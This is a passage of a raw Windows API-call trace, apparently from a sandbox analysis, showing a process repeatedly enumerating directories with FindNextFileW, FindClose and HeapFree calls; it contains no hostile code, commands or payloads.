1 [0281.532] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.539] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.544] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.544] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.547] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.559] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.564] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.570] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.570] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.973] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.973] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.975] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.975] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0281.980] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0281.980] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.003] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.003] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.006] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.010] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.016] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.019] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.019] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.026] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.026] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.043] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.043] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.047] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.047] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.052] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.053] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.071] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.076] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.076] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.523] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.523] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.525] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.525] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.527] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.527] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.530] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.530] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.533] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.533] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.536] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.538] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.538] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.541] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.541] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.546] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.566] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0282.584] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0282.585] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0283.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0283.252] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0283.265] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0283.265] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0283.267] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0283.267] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0283.269] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0283.269] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0283.270] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0283.271] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0283.272] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0283.272] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0283.274] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0283.274] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0283.276] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0283.276] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0283.277] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0283.277] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0283.278] FindClose (in: hFindFile=0x380bf60 | out: hFindFile=0x380bf60) returned 1 [0283.278] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0283.278] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0283.278] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0283.281] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0283.281] FindClose (in: hFindFile=0x380c6a0 | out: hFindFile=0x380c6a0) returned 1 [0283.281] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0283.282] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 0 [0283.282] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0283.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.282] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.284] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.284] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0283.286] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0283.562] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.562] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.563] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.563] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0283.564] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0283.572] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.572] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.573] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0283.573] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0283.574] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.574] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.575] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0283.575] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0283.580] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.580] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.580] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.580] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.603] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.603] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.619] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.619] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.620] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.620] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.621] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.621] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0283.621] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0283.622] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0283.622] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0283.626] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0283.626] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0283.626] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.626] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.640] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0283.640] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0283.641] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.641] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0283.641] FindClose (in: hFindFile=0x380c660 | out: hFindFile=0x380c660) returned 1 [0283.641] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0283.643] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0283.646] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.646] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.646] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0283.646] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0283.647] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0283.647] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0283.649] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0283.649] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0283.649] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.649] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0283.649] FindClose (in: hFindFile=0x380c6a0 | out: hFindFile=0x380c6a0) returned 1 [0283.649] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0283.879] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0283.882] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.882] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.882] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0283.882] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0283.882] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0283.882] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0284.069] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4553bf8 | out: hHeap=0x640000) returned 1 [0284.069] FindNextFileW (in: hFindFile=0x380c760, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0284.071] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.071] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0284.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.072] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 0 [0284.072] FindClose (in: hFindFile=0x380c6a0 | out: hFindFile=0x380c6a0) returned 1 [0284.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0284.072] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0284.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.105] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0284.105] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.105] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0284.106] FindClose (in: hFindFile=0x380c920 | out: hFindFile=0x380c920) returned 1 [0284.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.106] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.127] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.127] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0284.127] FindClose (in: hFindFile=0x380c320 | out: hFindFile=0x380c320) returned 1 [0284.127] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.127] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0284.127] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0284.127] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.127] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0284.134] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0284.134] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0284.134] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0284.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.135] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0284.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.135] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0284.135] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0284.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.137] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0284.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0284.143] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0284.143] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0284.143] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.143] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0284.143] FindClose (in: hFindFile=0x380c0e0 | out: hFindFile=0x380c0e0) returned 1 [0284.144] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.144] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0284.145] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44e0730 | out: hHeap=0x640000) returned 1 [0284.145] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0284.145] FindClose (in: hFindFile=0x380c020 | out: hFindFile=0x380c020) returned 1 [0284.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44d0728 | out: hHeap=0x640000) returned 1 [0284.146] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0284.146] FindClose (in: hFindFile=0x380bce0 | out: hFindFile=0x380bce0) returned 1 [0284.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45a9440 | out: hHeap=0x640000) returned 1 [0284.146] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0284.146] FindClose (in: hFindFile=0x380cae0 | out: hFindFile=0x380cae0) returned 1 [0284.146] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0284.148] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0284.148] FindClose (in: hFindFile=0x380ca20 | out: hFindFile=0x380ca20) returned 1 [0284.148] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0284.148] FindNextFileW (in: hFindFile=0x380c920, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0284.148] FindClose (in: hFindFile=0x380c920 | out: hFindFile=0x380c920) returned 1 [0284.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.149] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0284.149] FindClose (in: hFindFile=0x380c820 | out: hFindFile=0x380c820) returned 1 [0284.149] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.150] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0284.150] FindClose (in: hFindFile=0x380c6a0 | out: hFindFile=0x380c6a0) returned 1 [0284.150] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.151] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0284.285] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.285] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.286] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4524730 | out: hHeap=0x640000) returned 1 [0284.286] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 0 [0284.286] FindClose (in: hFindFile=0x380c820 | out: hFindFile=0x380c820) returned 1 [0284.287] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4514728 | out: hHeap=0x640000) returned 1 [0284.288] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f584 | out: lpFindFileData=0x2e5f584) returned 1 [0284.487] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0284.488] FindNextFileW (in: hFindFile=0x380ca20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0284.488] 